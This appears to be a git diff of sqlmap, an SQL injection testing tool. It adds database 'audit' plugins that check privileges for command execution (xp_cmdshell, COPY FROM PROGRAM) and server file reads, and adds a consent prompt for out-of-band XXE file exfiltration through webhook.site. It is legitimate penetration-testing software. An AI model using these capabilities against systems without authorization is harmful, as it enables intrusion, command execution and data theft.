if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)):
|
||||
# Note: (outer) LIMIT/OFFSET/FETCH would apply to the single aggregated row (i.e. being ignored), while Microsoft SQL Server's FOR JSON wraps the whole statement
|
||||
limited = not Backend.isDbms(DBMS.MSSQL) and any(zeroDepthSearch(expression.upper(), _) for _ in (" LIMIT ", " OFFSET ", " FETCH "))
|
||||
|
||||
# Note: Oracle, PostgreSQL, Microsoft SQL Server and SQLite aggregate the raw (not hex-converted) fields, while parseUnionPage() decodes them all in case of '--hex'
|
||||
if not limited and Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)) and not (conf.hexConvert and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE)):
|
||||
match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
|
||||
if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression):
|
||||
kb.jsonAggMode = True
|
||||
|
|
|
|||
|
|
@ -43,6 +43,7 @@ from lib.core.settings import XQUERY_HARVEST_CHARS
|
|||
from lib.core.settings import XQUERY_MAX_FILE_LENGTH
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.xrange import xrange
|
||||
from thirdparty.six.moves.urllib.parse import quote as _quote
|
||||
|
||||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
|
@ -154,7 +155,8 @@ def _send(place, parameter, value):
|
|||
time.sleep(conf.delay)
|
||||
|
||||
old_params = conf.parameters.get(place, "")
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, value)
|
||||
# Note: POST body is sent as-is (i.e. raw '+', '&', '%' would be misinterpreted), while GET is URL encoded later on
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="") if place == PLACE.POST else value)
|
||||
|
||||
try:
|
||||
kwargs = {"raise404": False, "silent": True}
|
||||
|
|
|
|||
|
|
@ -821,6 +821,13 @@ def _tryOobExfil(xml, rootName):
|
|||
if not fileName:
|
||||
return None
|
||||
|
||||
# Note: provided (own) OOB server is not a consent for contacting a public service (needed for hosting of the external DTD)
|
||||
if conf.get("oobServer"):
|
||||
message = "file exfiltration requires hosting of an external DTD, which provided OOB server can't do. "
|
||||
message += "Do you want to use public service (webhook.site) for that? [y/N] "
|
||||
if not readInput(message, default='N', boolean=True):
|
||||
return None
|
||||
|
||||
wh = WebhookSite()
|
||||
exfilToken = wh.newToken()
|
||||
if not exfilToken:
|
||||
|
|
|
|||
|
|
@ -444,7 +444,9 @@ class StdDbOut(object):
|
|||
|
||||
def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None):
|
||||
if self.messagetype == "stdout":
|
||||
_storeData(conf.databaseCursor, self.taskid, value, status, content_type)
|
||||
# Note: per-target key in multi-target scans, so a later target's COMPLETE row doesn't delete an earlier one's (#2503)
|
||||
taskid = "%s-%s" % (self.taskid, kb.reportTaskId) if kb.get("reportTaskId") else self.taskid
|
||||
_storeData(conf.databaseCursor, taskid, value, status, content_type)
|
||||
else:
|
||||
conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else ""))
|
||||
|
||||
|
|
@ -818,6 +820,12 @@ def scan_data(taskid):
|
|||
# Read all data and error messages from the IPC database (shared assembler - same output as --report-json)
|
||||
result = _assembleData(DataStore.current_db, taskid)
|
||||
|
||||
# Note: fold in per-target rows ('<taskid>-<n>', see StdDbOut.write) of multi-target scans, in target order
|
||||
prefix = "%s-" % taskid
|
||||
subtaskids = [_[0] for _ in DataStore.current_db.execute("SELECT DISTINCT taskid FROM data WHERE taskid LIKE ?", (prefix + '%',)) if _[0][len(prefix):].isdigit()]
|
||||
for subtaskid in sorted(subtaskids, key=lambda _: int(_[len(prefix):])):
|
||||
result["data"].extend(_assembleData(DataStore.current_db, subtaskid)["data"])
|
||||
|
||||
logger.debug("(%s) Retrieved scan data and error messages" % taskid)
|
||||
return jsonize(result)
|
||||
|
||||
|
|
|
|||
|
|
@ -55,7 +55,8 @@ def _addPageTextWords():
|
|||
for word in pageWords:
|
||||
word = word.lower()
|
||||
|
||||
if len(word) > 2 and not word[0].isdigit() and word not in wordsList:
|
||||
# Note: words of the (boolean) oracle string would be "found" (e.g. reflected inside an error message)
|
||||
if len(word) > 2 and not word[0].isdigit() and word not in wordsList and not (conf.string and word in conf.string.lower()):
|
||||
wordsList.append(word)
|
||||
|
||||
return wordsList
|
||||
|
|
|
|||
|
|
@ -501,7 +501,7 @@ def normalizeCrawlingResults(targets):
|
|||
# action name and parameters (e.g. /users/edit?id= vs /products/edit?id=) are not collapsed
|
||||
match = re.search(r"\A[^?]+\?.+\Z", value)
|
||||
if match:
|
||||
key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")
|
||||
key = "%s %s" % (target[1] or "GET", re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")) # Note: e.g. GET link and POST form with same parameter(s) are distinct targets
|
||||
if '=' in key and key not in seen:
|
||||
results.add(target)
|
||||
seen.add(key)
|
||||
|
|
|
|||
|
|
@ -36,10 +36,10 @@ class HTTPCollector(object):
|
|||
def setExtendedArguments(self, arguments):
|
||||
self.extendedArguments = arguments
|
||||
|
||||
def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None):
|
||||
def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None, scheme=None):
|
||||
self.messages.append(RawPair(requestMessage, responseMessage,
|
||||
startTime=startTime, endTime=endTime,
|
||||
extendedArguments=self.extendedArguments))
|
||||
extendedArguments=self.extendedArguments, scheme=scheme))
|
||||
|
||||
def obtain(self):
|
||||
return {"log": {
|
||||
|
|
@ -49,15 +49,16 @@ class HTTPCollector(object):
|
|||
}}
|
||||
|
||||
class RawPair(object):
|
||||
def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None):
|
||||
def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None, scheme=None):
|
||||
self.request = getBytes(request)
|
||||
self.response = getBytes(response)
|
||||
self.startTime = startTime
|
||||
self.endTime = endTime
|
||||
self.extendedArguments = extendedArguments or {}
|
||||
self.scheme = scheme # Note: of the target at the time of the request (as origin-form request lines don't carry one)
|
||||
|
||||
def toEntry(self):
|
||||
return Entry(request=Request.parse(self.request), response=Response.parse(self.response),
|
||||
return Entry(request=Request.parse(self.request, self.scheme), response=Response.parse(self.response),
|
||||
startTime=self.startTime, endTime=self.endTime,
|
||||
extendedArguments=self.extendedArguments)
|
||||
|
||||
|
|
@ -86,7 +87,7 @@ class Entry(object):
|
|||
return out
|
||||
|
||||
class Request(object):
|
||||
def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None):
|
||||
def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None, scheme=None):
|
||||
self.method = method
|
||||
self.path = path
|
||||
self.httpVersion = httpVersion
|
||||
|
|
@ -94,9 +95,10 @@ class Request(object):
|
|||
self.postBody = postBody
|
||||
self.comment = comment.strip() if comment else comment
|
||||
self.raw = raw
|
||||
self.scheme = scheme
|
||||
|
||||
@classmethod
|
||||
def parse(cls, raw):
|
||||
def parse(cls, raw, scheme=None):
|
||||
request = HTTPRequest(raw)
|
||||
return cls(method=request.command,
|
||||
path=request.path,
|
||||
|
|
@ -104,12 +106,16 @@ class Request(object):
|
|||
headers=request.headers,
|
||||
postBody=request.rfile.read(),
|
||||
comment=request.comment,
|
||||
raw=raw)
|
||||
raw=raw,
|
||||
scheme=scheme)
|
||||
|
||||
@property
|
||||
def url(self):
|
||||
if re.search(r"(?i)\Ahttps?://", self.path or ""): # Note: absolute-form request target (e.g. refreshing/crawling/checking requests)
|
||||
return self.path
|
||||
|
||||
host = self.headers.get("Host", "unknown")
|
||||
return "http://%s%s" % (host, self.path)
|
||||
return "%s://%s%s" % (self.scheme or "http", host, self.path)
|
||||
|
||||
def toDict(self):
|
||||
out = {
|
||||
|
|
|
|||
|
|
@ -79,6 +79,7 @@ from lib.core.enums import HASH
|
|||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.patch import dirtyPatches
|
||||
from lib.core.settings import COMMON_PASSWORD_SUFFIXES
|
||||
from lib.core.settings import COMMON_PASSWORDS
|
||||
from lib.core.settings import COMMON_USER_COLUMNS
|
||||
|
|
@ -101,6 +102,16 @@ from thirdparty import six
|
|||
from thirdparty.colorama.initialise import init as coloramainit
|
||||
from thirdparty.six.moves import queue as _queue
|
||||
|
||||
# On Windows, multiprocessing's 'spawn' start method boots a fresh interpreter per cracking
|
||||
# worker (_bruteProcessVariantA/B/Salted below) to unpickle its target function, which re-imports
|
||||
# this module from scratch without ever running the main process's startup dirtyPatches() - so
|
||||
# process-wide monkeypatches it installs (e.g. the 'reversible' codec error handler used by
|
||||
# getUnicode()/openFile()) are missing in the worker, raising LookupError on every hashed entry
|
||||
# (#6143). Placing the (idempotent) call here means that very re-import applies it. POSIX fork()
|
||||
# workers inherit the parent's patches already, so this only needs to run on Windows.
|
||||
if IS_WIN:
|
||||
dirtyPatches()
|
||||
|
||||
def mysql_passwd(password, uppercase=True):
|
||||
"""
|
||||
Reference(s):
|
||||
|
|
@ -1369,7 +1380,8 @@ def dictionaryAttack(attack_dict):
|
|||
else:
|
||||
try:
|
||||
if multiprocessing.cpu_count() > 1:
|
||||
_multiprocessing = multiprocessing
|
||||
# Note: 'forkserver' (POSIX default since Python 3.14) re-imports the main script, which breaks for pip installs (#6180)
|
||||
_multiprocessing = multiprocessing.get_context("fork") if "fork" in getattr(multiprocessing, "get_all_start_methods", lambda: ())() else multiprocessing
|
||||
except NotImplementedError:
|
||||
pass
|
||||
|
||||
|
|
|
|||
|
|
@ -12,6 +12,7 @@ from lib.core.common import getSafeExString
|
|||
from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
from lib.core.common import urlencode
|
||||
from lib.core.convert import decodeBase64
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
|
|
@ -25,9 +26,8 @@ from lib.core.exception import SqlmapBaseException
|
|||
from lib.core.settings import BING_REGEX
|
||||
from lib.core.settings import DUCKDUCKGO_REGEX
|
||||
from lib.core.settings import DUMMY_SEARCH_USER_AGENT
|
||||
from lib.core.settings import GOOGLE_CONSENT_COOKIE
|
||||
from lib.core.settings import GOOGLE_REGEX
|
||||
from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
|
||||
from lib.core.settings import SEARCH_ABUSE_MARKERS
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.request.basic import decodePage
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
|
|
@ -89,7 +89,6 @@ def _search(dork):
|
|||
requestHeaders = {
|
||||
HTTP_HEADER.USER_AGENT: dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT),
|
||||
HTTP_HEADER.ACCEPT_ENCODING: HTTP_ACCEPT_ENCODING_HEADER_VALUE,
|
||||
HTTP_HEADER.COOKIE: GOOGLE_CONSENT_COOKIE,
|
||||
}
|
||||
|
||||
gpage = conf.googlePage if conf.googlePage > 1 else 1
|
||||
|
|
@ -97,11 +96,13 @@ def _search(dork):
|
|||
|
||||
encoded = urlencode(dork, convall=True)
|
||||
|
||||
# Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (DuckDuckGo currently being the only consistently scrapeable one)
|
||||
# Note: DuckDuckGo's first result page holds 10 entries, while each subsequent one holds 15 (hence the non-linear offset)
|
||||
ddgOffset = 0 if gpage == 1 else 10 + (gpage - 2) * 15
|
||||
|
||||
# Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (Google is not in here as it serves results only to JavaScript capable clients)
|
||||
engines = (
|
||||
("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, (gpage - 1) * 30), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")),
|
||||
("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: match.group(1)),
|
||||
("Google", "https://www.google.com/search?q=%s&num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search&start=%d" % (encoded, (gpage - 1) * 100), None, GOOGLE_REGEX, re.I, lambda match: match.group(1) or match.group(2)),
|
||||
("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, ddgOffset), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")),
|
||||
("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: decodeBase64(match.group(1), binary=False) if match.group(1) else match.group(2).replace("&", "&")),
|
||||
)
|
||||
|
||||
for name, url, data, regex, flags, extract in engines:
|
||||
|
|
@ -123,7 +124,7 @@ def _search(dork):
|
|||
break # Note: stop at the first engine that actually returns results (others are only fallbacks)
|
||||
|
||||
# Note: switch proxy (if available) when an abuse/captcha page was served (instead of pointlessly falling through to the next engine from the same blocked IP)
|
||||
if conf.proxyList and (("detected unusual traffic" in page) or ("issue with the Tor Exit Node you are currently using" in page)):
|
||||
if conf.proxyList and any(marker in page for marker in SEARCH_ABUSE_MARKERS):
|
||||
warnMsg = "%s has detected 'unusual' traffic from the used IP address" % name
|
||||
raise SqlmapBaseException(warnMsg)
|
||||
|
||||
|
|
|
|||
|
|
@ -50,6 +50,7 @@ class SQLAlchemy(GenericConnector):
|
|||
|
||||
self.dialect = dialect
|
||||
self.address = conf.direct
|
||||
self.engine = None
|
||||
|
||||
if conf.dbmsUser:
|
||||
self.address = self.address.replace("'%s':" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser))
|
||||
|
|
@ -84,6 +85,7 @@ class SQLAlchemy(GenericConnector):
|
|||
else:
|
||||
engine = _sqlalchemy.create_engine(self.address, connect_args={})
|
||||
|
||||
self.engine = engine
|
||||
self.connector = engine.connect()
|
||||
except (TypeError, ValueError) as ex:
|
||||
if "_get_server_version_info" in traceback.format_exc():
|
||||
|
|
@ -110,6 +112,19 @@ class SQLAlchemy(GenericConnector):
|
|||
else:
|
||||
raise SqlmapMissingDependence("SQLAlchemy not available (e.g. 'pip%s install SQLAlchemy')" % ('3' if six.PY3 else ""))
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
GenericConnector.close(self)
|
||||
finally:
|
||||
# Note: closing the connection only returns it to the engine's pool (the underlying DBAPI
|
||||
# connection, e.g. sqlite3, stays open) - disposing the engine is what actually releases it
|
||||
if self.engine is not None:
|
||||
try:
|
||||
self.engine.dispose()
|
||||
except Exception as ex:
|
||||
logger.debug(getSafeExString(ex))
|
||||
self.engine = None
|
||||
|
||||
def fetchall(self):
|
||||
try:
|
||||
retVal = []
|
||||
|
|
|
|||
53
plugins/dbms/mssqlserver/audit.py
Normal file
53
plugins/dbms/mssqlserver/audit.py
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.MSSQL
|
||||
# Snippets keep an outer WHERE for the existing blind TOP/NOT IN limiter.
|
||||
queries = (("identity", ("audit_identity",)), ("permissions", ("audit_permissions",)),
|
||||
("configuration", ("audit_configuration",)), ("linked servers", ("audit_links",)))
|
||||
flags = dict((key, ("enabled", "disabled")) for key in ("xp_cmdshell", "clr enabled", "Ole Automation Procedures", "Ad Hoc Distributed Queries"))
|
||||
flags.update(dict((key, ("yes", "no")) for key in ("sysadmin", "execute xp_cmdshell", "read configuration metadata", "read linked-server metadata")))
|
||||
|
||||
def failure(self, scope, groups):
|
||||
permissions = groups.get("permissions") or {}
|
||||
for key, name, target in (("read configuration metadata", "configuration", "master.sys.configurations"),
|
||||
("read linked-server metadata", "linked servers", "master.sys.servers")):
|
||||
if scope == name and permissions.get(key) == "0":
|
||||
return "%s: SELECT permission missing on %s" % (scope, target)
|
||||
return GenericAudit.failure(self, scope, groups)
|
||||
|
||||
def explain(self, groups):
|
||||
configuration = groups.get("configuration") or {}
|
||||
permissions = groups.get("permissions") or {}
|
||||
identity = groups.get("identity") or {}
|
||||
result = []
|
||||
if identity.get("sysadmin") == "1" and configuration.get("xp_cmdshell") == "0":
|
||||
if self._auditCanExecute():
|
||||
result.append("Command execution: sysadmin can enable xp_cmdshell; use --os-cmd or --os-shell")
|
||||
else:
|
||||
result.append("Command execution: sysadmin can enable xp_cmdshell; no statement execution route identified")
|
||||
elif configuration.get("xp_cmdshell") == "1" and permissions.get("execute xp_cmdshell") == "1":
|
||||
if self._auditCanExecute():
|
||||
result.append("Command execution: xp_cmdshell enabled and EXECUTE granted; use --os-cmd or --os-shell")
|
||||
else:
|
||||
result.append("Command execution: xp_cmdshell enabled and EXECUTE granted; no statement execution route identified")
|
||||
elif permissions.get("execute xp_cmdshell") == "0":
|
||||
result.append("Command execution: EXECUTE permission missing on master.dbo.xp_cmdshell")
|
||||
elif configuration.get("xp_cmdshell") == "0":
|
||||
result.append("Command execution: xp_cmdshell is disabled")
|
||||
links = groups.get("linked servers") or {}
|
||||
count = links.get("visible linked servers")
|
||||
if count and count.isdigit() and int(count) > AUDIT_MAX_ROWS:
|
||||
shown = sum(key.startswith("link ") for key in links)
|
||||
result.append("Linked servers: showing %d of %s; use --links for the full list" % (shown, count))
|
||||
return result
|
||||
44
plugins/dbms/mysql/audit.py
Normal file
44
plugins/dbms/mysql/audit.py
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.enums import DBMS, FORK
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.MYSQL
|
||||
flags = dict((key, ("enabled", "disabled")) for key in ("local_infile", "require_secure_transport", "read_only", "super_read_only", "general_log", "log_bin", "skip_networking", "skip_grant_tables"))
|
||||
flags["direct FILE grant"] = ("present", "absent")
|
||||
|
||||
def __init__(self):
|
||||
configuration = ("audit_configuration_mariadb", "audit_configuration") if Backend.isFork(FORK.MARIADB) else ("audit_configuration", "audit_configuration_mariadb")
|
||||
self.queries = (("identity", ("audit_identity",)), ("configuration", configuration),
|
||||
("file access", ("audit_file_access",)), ("privileges", ("audit_privileges",)))
|
||||
|
||||
def explain(self, groups):
|
||||
facts = groups.get("file access") or {}
|
||||
privileges = groups.get("privileges") or {}
|
||||
result = []
|
||||
disabled = False
|
||||
if "secure_file_priv" in facts:
|
||||
value = facts["secure_file_priv"]
|
||||
# MariaDB can expose an unrestricted value as SQL NULL; MySQL can expose
|
||||
# its disabled value as the literal string "NULL". Keep the raw fact.
|
||||
disabled = (value is None or value.upper() == "NULL") and not Backend.isFork(FORK.MARIADB)
|
||||
if disabled:
|
||||
result.append("File operations: secure_file_priv=NULL blocks --file-read and --file-write")
|
||||
elif not value:
|
||||
result.append("File operations: no directory restriction from secure_file_priv")
|
||||
else:
|
||||
result.append("File operations: --file-read and --file-dest paths must be inside '%s'" % value)
|
||||
if privileges.get("direct FILE grant") == "1" and not disabled:
|
||||
message = "File read: FILE granted; use --file-read with a server-side path"
|
||||
if facts.get("max_allowed_packet"):
|
||||
message += " (file size < %s bytes)" % facts["max_allowed_packet"]
|
||||
result.append(message)
|
||||
return result
|
||||
23
plugins/dbms/oracle/audit.py
Normal file
23
plugins/dbms/oracle/audit.py
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.ORACLE
|
||||
queries = (("identity", ("audit_identity",)), ("configuration", ("audit_configuration",)),
|
||||
("privileges", ("audit_privileges",)), ("directory grants", ("audit_directories",)))
|
||||
|
||||
def explain(self, groups):
|
||||
grants = groups.get("directory grants") or {}
|
||||
count = grants.get("visible directory grants")
|
||||
if count and count.isdigit() and int(count) > AUDIT_MAX_ROWS:
|
||||
return ["Directory grants: showing %d of %s" % (len(grants) - 1, count)]
|
||||
return []
|
||||
33
plugins/dbms/postgresql/audit.py
Normal file
33
plugins/dbms/postgresql/audit.py
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.PGSQL
|
||||
queries = (("identity", ("audit_identity",)), ("configuration", ("audit_configuration",)),
|
||||
("privileges", ("audit_privileges",)))
|
||||
flags = dict((key, ("yes", "no")) for key in ("superuser", "bypass RLS", "pg_read_server_files", "pg_write_server_files", "pg_execute_server_program"))
|
||||
|
||||
def explain(self, groups):
|
||||
privileges = groups.get("privileges") or {}
|
||||
superuser = privileges.get("superuser") == "1"
|
||||
result = []
|
||||
if superuser or privileges.get("pg_read_server_files") == "1":
|
||||
result.append("File read: server-file privilege granted; use --file-read with a server-side path")
|
||||
if superuser and self._auditCanExecute():
|
||||
result.append("File write: superuser and statement execution available; use --file-write and --file-dest")
|
||||
if superuser or privileges.get("pg_execute_server_program") == "1":
|
||||
if self._auditCanExecute():
|
||||
result.append("Command execution: COPY FROM PROGRAM privilege granted; use --os-cmd or --os-shell")
|
||||
else:
|
||||
result.append("Command execution: COPY FROM PROGRAM privilege granted; no statement execution route identified")
|
||||
if superuser or privileges.get("bypass RLS") == "1":
|
||||
result.append("Row security: current role bypasses row-level security")
|
||||
return result
|
||||
113
plugins/generic/audit.py
Normal file
113
plugins/generic/audit.py
Normal file
|
|
@ -0,0 +1,113 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import arrayizeValue
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.common import isListLike
|
||||
from lib.core.common import isNoneValue
|
||||
from lib.core.common import isStackingAvailable
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from lib.utils.safe2bin import safecharencode
|
||||
from lib.request import inject
|
||||
from thirdparty import six
|
||||
|
||||
|
||||
class Audit(object):
|
||||
# Each snippet returns (audit_key, audit_value). Values are tagged N (SQL NULL) or V<text>
|
||||
# so extraction's normal NULL/empty-string handling cannot silently change their meaning.
|
||||
dbms = None
|
||||
queries = ()
|
||||
flags = {}
|
||||
|
||||
def _auditFetch(self, snippet):
|
||||
# Extraction locates fields and FROM clauses on one line.
|
||||
query = getSQLSnippet(self.dbms, snippet, LIMIT=str(AUDIT_MAX_ROWS)).replace("\r", " ").replace("\n", " ")
|
||||
try:
|
||||
values = inject.getValue(query, fromUser=True, batch=True, safeCharEncode=False)
|
||||
except SqlmapNoneDataException:
|
||||
values = None
|
||||
if isNoneValue(values):
|
||||
# Extraction can return None for both zero rows and a failed query.
|
||||
# Confirm emptiness rather than inferring a database error from it.
|
||||
countQuery = "SELECT COUNT(*) FROM (%s) audit_count" % query.rsplit(" ORDER BY ", 1)[0]
|
||||
try:
|
||||
count = inject.getValue(countQuery, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
except SqlmapNoneDataException:
|
||||
return None
|
||||
return {} if getUnicode(unArrayizeValue(count)) == "0" else None
|
||||
if isListLike(values) and len(values) == 2 and not any(isListLike(_) for _ in values):
|
||||
values = [values]
|
||||
facts = {}
|
||||
for row in arrayizeValue(values):
|
||||
if not isListLike(row) or len(row) != 2:
|
||||
return None
|
||||
key, value = row
|
||||
if isNoneValue(key) or not isinstance(value, six.string_types):
|
||||
return None
|
||||
if value == "N":
|
||||
value = None
|
||||
elif value.startswith("V"):
|
||||
value = value[1:]
|
||||
else:
|
||||
return None
|
||||
# DBMS CHAR expressions can pad the keys; preserve value whitespace.
|
||||
facts[getUnicode(key).rstrip(" ")] = value
|
||||
return facts
|
||||
|
||||
def failure(self, scope, groups):
|
||||
return "%s: retrieval failed" % scope
|
||||
|
||||
def _auditCanExecute(self):
|
||||
# Use known execution routes; audit must not probe takeover gadgets.
|
||||
return bool(conf.direct or isStackingAvailable() or kb.get("gadget"))
|
||||
|
||||
def explain(self, groups):
|
||||
return []
|
||||
|
||||
def getAudit(self):
|
||||
if kb.data.cachedAudit:
|
||||
return kb.data.cachedAudit
|
||||
logger.info("fetching security configuration and session capabilities")
|
||||
groups = {}
|
||||
result = []
|
||||
for scope, snippets in self.queries:
|
||||
facts = None
|
||||
for snippet in snippets:
|
||||
facts = self._auditFetch(snippet)
|
||||
if facts is not None:
|
||||
break
|
||||
groups[scope] = facts
|
||||
if facts is None:
|
||||
result.append(self.failure(scope, groups))
|
||||
continue
|
||||
if not facts:
|
||||
result.append("%s: no entries" % scope)
|
||||
for key in sorted(facts):
|
||||
if facts[key] is None:
|
||||
value = "<NULL>"
|
||||
elif facts[key] == "":
|
||||
value = "<empty>"
|
||||
else:
|
||||
value = facts[key]
|
||||
if key in self.flags:
|
||||
if value.lower() in ("1", "on", "true", "yes"):
|
||||
value = self.flags[key][0]
|
||||
elif value.lower() in ("0", "off", "false", "no"):
|
||||
value = self.flags[key][1]
|
||||
result.append("%s / %s: %s" % (scope, key, value))
|
||||
result.extend(self.explain(groups))
|
||||
result = [safecharencode(_) for _ in result]
|
||||
kb.data.cachedAudit = result
|
||||
return result
|
||||
|
|
@ -12,10 +12,12 @@ import sys
|
|||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.common import isListLike
|
||||
from lib.core.common import isStackingAvailable
|
||||
from lib.core.common import joinValue
|
||||
from lib.core.common import readCachedFileContent
|
||||
from lib.core.common import splitFields
|
||||
from lib.core.common import zeroDepthSearch
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
|
|
@ -148,12 +150,13 @@ class Custom(object):
|
|||
if not filename:
|
||||
continue
|
||||
|
||||
snippet = getSQLSnippet(Backend.getDbms(), filename)
|
||||
# User SQL is not a bundled procedure template: preserve literals and percent tokens.
|
||||
snippet = readCachedFileContent(filename)
|
||||
snippet = "\n".join(_ for _ in snippet.split("\n") if not re.match(r"\s*(--|#)", _)) # Note: only whole comment lines (literals stay intact)
|
||||
queries = [_.strip() for _ in splitFields(snippet, delimiter=';' if zeroDepthSearch(snippet, ';') else '\n') if _.strip()]
|
||||
|
||||
if snippet and all(query.strip().upper().startswith("SELECT") for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _)):
|
||||
for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _):
|
||||
query = query.strip()
|
||||
if query:
|
||||
conf.dumper.sqlQuery(query, self.sqlQuery(query))
|
||||
else:
|
||||
if queries and all(query.upper().startswith("SELECT") for query in queries):
|
||||
for query in queries:
|
||||
conf.dumper.sqlQuery(query, self.sqlQuery(query))
|
||||
elif queries:
|
||||
conf.dumper.sqlQuery(snippet, self.sqlQuery(snippet))
|
||||
|
|
|
|||
|
|
@ -72,6 +72,8 @@ class Databases(object):
|
|||
kb.data.dumpedTable = {}
|
||||
kb.data.cachedStatements = []
|
||||
kb.data.cachedProcedures = []
|
||||
kb.data.cachedLinks = []
|
||||
kb.data.cachedAudit = []
|
||||
|
||||
def getCurrentDb(self):
|
||||
infoMsg = "fetching current database"
|
||||
|
|
@ -702,9 +704,9 @@ class Databases(object):
|
|||
if dumpMode and colList:
|
||||
if conf.db not in kb.data.cachedColumns:
|
||||
kb.data.cachedColumns[conf.db] = {}
|
||||
